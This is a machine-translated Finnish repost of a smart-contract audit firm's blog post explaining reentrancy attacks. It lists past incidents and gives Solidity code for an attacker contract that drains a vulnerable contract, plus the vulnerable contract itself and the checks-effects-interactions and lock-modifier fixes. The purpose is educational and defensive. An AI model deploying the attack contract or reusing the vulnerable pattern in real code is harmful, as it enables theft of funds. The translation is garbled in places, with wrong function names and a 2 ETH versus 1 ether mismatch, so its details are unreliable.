Kuinka välttää älykkäitä sopimuksia paluuhyökkäysten kytkimestä? PlatoBlockchain Data Intelligence. Pystysuuntainen haku. Ai.

Kuinka välttää älykkäitä sopimuksia paluuhyökkäysten kytkimestä?

Lukeaika: 6 pöytäkirja

Jos tarkastelemme lähemmin suurimpia kryptohakkereita ja niille menetettyjä silmiä sulavia hahmoja, ne olisivat juurtuneet syvälle koodausvirheistä.

Yksi tällainen yleinen tietoturva-aukkojen esiintyminen on Reentrancy-hyökkäys. Väärin käsitellyn paluumatkan aiheuttama tuhoisa vaikutus ei kuitenkaan välttämättä kuulosta niin yksinkertaiselta kuin itse hyökkäyksen käynnistäminen.

Vaikka ongelma on tuttu ja paljon julkisuutta saanut, Reentrancy-bugin ilmaantuminen älykkäisiin sopimuksiin on aina väistämätöntä. 

Kuinka usein hakkerit ovat käyttäneet Reentrancy-haavoittuvuutta hyväkseen viime vuosina? Kuinka se toimii? Kuinka estää älykkäitä sopimuksia menettämästä varoja Reentrancy-virheille? Näihin kysymyksiin löydät vastaukset tästä blogista.

Joten, ennen pitkää, selvitetään suurimmat muistissa olevat paluuhyökkäykset. 

Jotkut surullisen kuuluisimmista reaaliaikaisista reentrancy-hackeista 

Reentancy-hyökkäykset, jotka aiheuttivat tuhoisimmat vaikutukset projekteihin, päätyivät jompaankumpaan näistä kahdesta tai jopa molemmista. 

  • Tyhjennä Ether kokonaan älykkäistä sopimuksista
  • Hakkerit tunkeutuvat älykkään sopimuskoodiin

Voimme nyt tarkkailla muutamia Reentrancy-hyökkäystapauksia ja niiden vaikutuksia. 

Kesäkuu 2016: DAO-hyökkäys – 3.54 miljoonaa tai 150 miljoonaa dollaria eetteriä

Huhtikuu 2020: Uniswap/Lendf.Me-hakkerointi – 25 miljoonaa dollaria

Toukokuu 2021: BurgerSwap-hakkerointi – 7.2 miljoonaa dollaria

2021. elokuuta: CREAM FINANCE -hakkerointi – 18.8 miljoonaa dollaria

Maaliskuu 2022: Ola Finance – 3.6 miljoonaa dollaria

Heinäkuu 2022: OMNI-protokolla – 1.43 miljoonaa dollaria

On kristallinkirkasta, että Reentrancy-hyökkäykset eivät ole koskaan menneet pois tyylistä. Otetaanpa siihen syvällisiä näkemyksiä seuraavissa kohdissa. 

Yleiskatsaus Reentrancy-hyökkäyksestä

Kuten nimestä "Reentrancy", joka tarkoittaa "palaamista uudestaan ​​​​ja uudestaan". Palautumishyökkäys sisältää kaksi sopimusta: uhrin sopimus ja hyökkääjän sopimus. 

Hyökkääjäsopimus hyödyntää uhrisopimuksen palautushaavoittuvuutta. Se käyttää vetäytymistoimintoa saavuttaakseen sen. 

Hyökkääjäsopimus kutsuu nostotoimintoa varojen tyhjentämiseksi uhrisopimuksesta soittamalla toistuvasti ennen kuin uhrisopimuksen saldo päivitetään. Uhrisopimus tarkistaa saldon, lähettää varoja ja päivittää saldon. 

Mutta varojen lähettämisen ja sopimuksen saldon päivittämisen aikana hyökkääjäsopimus tekee jatkuvan pyynnön nostaa varoja. Tämän seurauksena saldoa ei päivitetä uhrin sopimukseen ennen kuin hyökkääjäsopimus tyhjentää kaikki varat.

Reentrance-hyödyntämisen vakavuus ja kustannukset hälyttävät kovasta esiintymisen tarpeesta älykkäät sopimusauditoinnit sulkeakseen pois mahdollisuuden jättää huomiotta tällaiset virheet. 

Havainnollistava näkymä Reentrancy Attackista

Ymmärretään reentrancy-hyökkäyksen käsite alla olevasta yksinkertaistetusta kuvasta. 

Tässä on kaksi sopimusta: haavoittuva sopimus ja hakkerisopimus

Hakkerisopimus kehottaa vetäytymään haavoittuvasta sopimuksesta. Puhelun saatuaan haavoittuva sopimus tarkistaa hakkerisopimuksen varat ja siirtää sitten varat hakkerille. 

Hakkeri vastaanottaa varat ja toteuttaa varatoiminnon, joka kutsuu uudelleen haavoittuvan sopimuksen jo ennen kuin saldo on päivitetty haavoittuvaan sopimukseen. Näin ollen hakkeri toistaa saman toimenpiteen haavoittuvasta sopimuksesta varoja kokonaan. 

Kuinka välttää älykkäitä sopimuksia paluuhyökkäysten kytkimestä?

Hyökkääjän käyttämän varatoiminnon ominaisuudet 

  • Ne ovat ulkoisesti kutsuttavia. Eli niille ei voi soittaa sopimuksesta, jonka ne on kirjoitettu
  • Nimetön toiminto
  • Varafunktio ei sisällä mielivaltaista logiikkaa
  • Varalaukaisu laukeaa, kun ETH lähetetään sen sisältävään älysopimukseen, eikä vastaanota()-toimintoa ole ilmoitettu.

Reentrancy-hyökkäyksen analysointi teknisestä näkökulmasta 

Otetaan mallisopimus ja ymmärretään kuinka paluuhyökkäys tapahtuu.

Haitallinen sopimus

contract Attack {
    DepositFunds public depositFunds;

    constructor(address _depositFundsAddress) {
        depositFunds = DepositFunds(_depositFundsAddress);
    }

    // Fallback is called when DepositFunds sends Ether to this contract.
    fallback() external payable {
        if (address(depositFunds).balance >= 1 ether) {
            depositFunds.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        depositFunds.deposit{value: 1 ether}();
        depositFunds.withdraw();
    }


}

Tämä on hyökkääjäsopimus, jossa hyökkääjä tallettaa 2ETH:n. Hyökkääjä kutsuu haavoittuvan sopimuksen peruutustoimintoa. Kun varat on saatu haavoittuvasta sopimuksesta, varatoiminto käynnistyy. 

Varaosa suorittaa sitten nostotoiminnon ja tyhjentää rahaston haavoittuvasta sopimuksesta. Tämä sykli jatkuu, kunnes haavoittuvan sopimuksen varat ovat kokonaan loppuneet.

Haavoittuva sopimus

contract DepositFunds {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }


}

Haavoittuvassa sopimuksessa on 30 ETH. Tässä draw()-funktio lähettää pyydetyn summan hyökkääjälle. Koska saldoa ei päivitetä, tunnukset siirretään hyökkääjälle toistuvasti. 

Reentrancy-hyökkäysten tyypit

  • Yhden toiminnon palautus 
function withdraw() external {
   uint256 amount = balances[msg.sender];
   require(msg.sender.call.value(amount)());
   balances[msg.sender] = 0;
}

Msg.sender.call.value(amount)() siirtää varat, minkä jälkeen hyökkääjän sopimusvaraustoiminto kutsuu uudelleen return() ennen kuin saldot[msg.sender] = 0 päivitetään.

  • Cross-function Reentancy
function transfer(address to, uint amount) external {
   if (balances[msg.sender] >= amount) {
       balances[to] += amount;
       balances[msg.sender] -= amount;
   }
}
function withdraw() external {
   uint256 amount = balances[msg.sender];
   require(msg.sender.call.value(amount)());
   balances[msg.sender] = 0;
}

Toimintojen välinen paluu on paljon monimutkaisempi tunnistaa. Erona tässä on se, että varafunktio kutsuu siirtoa, toisin kuin yhden funktion palautustoiminnossa, jossa se kutsuu vetäytymistä.

Palautumishyökkäysten ehkäisy

Tarkistukset-vaikutukset-vuorovaikutusmalli: Tarkistukset-vaikutukset-vuorovaikutukset -malli auttaa funktioiden jäsentämisessä. 

Ohjelma tulee koodata siten, että ehdot tarkistetaan ensin. Kun tarkastukset on läpäissyt, vaikutukset sopimusten tilaan tulisi selvittää, minkä jälkeen voidaan kutsua ulkoiset toiminnot. 

function withdraw() external {
   uint256 amount = balances[msg.sender];
   balances[msg.sender] = 0;
   require(msg.sender.call.value(amount)());
}

Uudelleenkirjoitettu koodi tässä seuraa tarkastukset-vaikutukset-vuorovaikutusmallia. Tässä saldo nollataan ennen ulkopuhelun soittamista. 

Muuttajan käyttö

Toimintoon sovellettu muuntaja noReentrant varmistaa, ettei reentrant-kutsuja ole. 

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

Lopussa

Tehokkain askel on toteuttaa älykkäitä sopimusauditointeja johtavalta turvallisuusyritykseltä, kuten QuillAudits, jolloin tarkastajat seuraavat tarkasti koodin rakennetta ja tarkistavat, kuinka varatoiminto toimii. Tutkittujen mallien perusteella annetaan suosituksia koodin uudelleenjärjestelyyn, jos sellaista näyttää olevan haavoittuvia käyttäytymismalleja

Rahastojen turvallisuus varmistetaan juuri ennen kuin joudut tappioiden uhriksi. 

UKK

Mikä on paluuhyökkäys?

Palautumishyökkäys tapahtuu, kun haavoittuvan sopimuksen toiminto soittaa epäluotettavalle sopimukselle. Epäluotettava sopimus on hyökkääjän sopimus, joka soittaa toistuvasti haavoittuvalle sopimukselle, kunnes varat on tyhjennetty kokonaan. 

Mikä on reentrant?

Uudelleensyöttäminen tarkoittaa koodin suorittamisen keskeyttämistä ja prosessin aloittamista alusta, joka tunnetaan myös uudelleensyöttönä.

Mikä on paluuvartija?

Reentrance Guard käyttää modifiointia, joka estää funktiota kutsumasta toistuvasti. Lue yllä oleva blogi löytääksesi esimerkin paluusuojasta.

Mitkä ovat hyökkäykset älykkäitä sopimuksia vastaan?

Älykkäät sopimukset ovat alttiina lukuisille haavoittuvuuksille, kuten uudelleentulolle, aikaleimariippuvuudelle, aritmeettisille ylivuodoille, DoS-hyökkäyksille ja niin edelleen. Siksi auditointi on välttämätöntä sen varmistamiseksi, ettei ole virheitä, jotka romahtavat sopimuksen logiikan.

69 Näyttökerrat

Aikaleima:

Lisää aiheesta Quillhash